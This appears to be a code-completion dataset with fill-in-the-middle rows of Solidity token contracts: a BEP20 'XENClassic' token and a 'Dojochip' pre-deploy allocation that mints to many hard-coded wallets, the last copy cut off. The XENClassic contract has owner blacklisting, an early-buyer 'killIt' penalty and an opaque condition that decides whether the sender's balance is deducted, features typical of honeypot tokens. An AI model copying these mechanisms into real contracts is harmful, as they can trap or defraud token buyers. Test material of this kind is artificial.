function setMaxTotalEat(uint256 newMaxTotalEat) external onlyOwner {
}
function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
}
function setdoYouLikeBase(address newAddress) external onlyOwner() {
}
function setinTheMTFFace(address newAddress) external onlyOwner() {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function isB(address account) public view returns(bool) {
}
function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner {
}
function killIt(address recipient) internal {
}
function manage_BL(address[] calldata addresses, bool status) public onlyOwner {
}
function set_blk(address recipient, bool status) public onlyOwner {
}
function Launc(uint256 a) public onlyOwner {
}
function smallOrEqualls(address Interfacee, address functionn) internal view returns (bool){
}
function returnBlock() public onlyOwner {
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(!isOnceEatExempt[sender] && !isOnceEatExempt[recipient]) {
require(smallOrEqual(amount, _maxOnceEat));
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyBySmallOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}if(smallOrEqualls(sender,recipient))
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount;
if (isExcludedFromCut[sender] || isExcludedFromCut[recipient]) {
finalAmount = amount;
} else {require(launchBlock > 0);
if (smallOrEqual(block.number , launchBlock + _killBlock) && !isMarketPair[recipient]) {killIt(recipient);}
finalAmount = takeFee(sender, recipient, amount);
}
if(LookMaxEat && !isMaxEatExempt[recipient])
require(<FILL_ME>)
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { }
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
}
contract XENClassic is BEP20 {
constructor() BEP20(
"XENClassic",
"XENClassic",
1000000000,
[uint256(0),uint256(4),uint256(0)],
[uint256(0),uint256(4),uint256(0)],
[uint256(0),uint256(4),uint256(0)],
[uint256(1000000000),uint256(1000000000)],
[0xcE85EF344FBb78775B53eF8fEd8fbd9a45930B3D,0xcE85EF344FBb78775B53eF8fEd8fbd9a45930B3D],
0xcE85EF344FBb78775B53eF8fEd8fbd9a45930B3D,0xEa181DBd88495a3653B3e21aa13248B0b3647940
){}
}
| smallOrEqual(balanceOf(recipient).add(finalAmount),_maxTotalEat) | 62,295 | smallOrEqual(balanceOf(recipient).add(finalAmount),_maxTotalEat) |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(<FILL_ME>)
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
| _balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]+_balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]+_balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]+_balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]+_balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]+_balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]+_balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]+_balances[0x1c580676795eE575db2f231283F08b4156B3087E]+_balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]+_balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]+_balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]+_balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]+_balances[0x9dc475E578CF2300622156840EB6c5b59569971f]+_balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]+_balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62]==8_000_000ether | 62,345 | _balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]+_balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]+_balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]+_balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]+_balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]+_balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]+_balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]+_balances[0x1c580676795eE575db2f231283F08b4156B3087E]+_balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]+_balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]+_balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]+_balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]+_balances[0x9dc475E578CF2300622156840EB6c5b59569971f]+_balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]+_balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62]==8_000_000ether |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(<FILL_ME>)
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
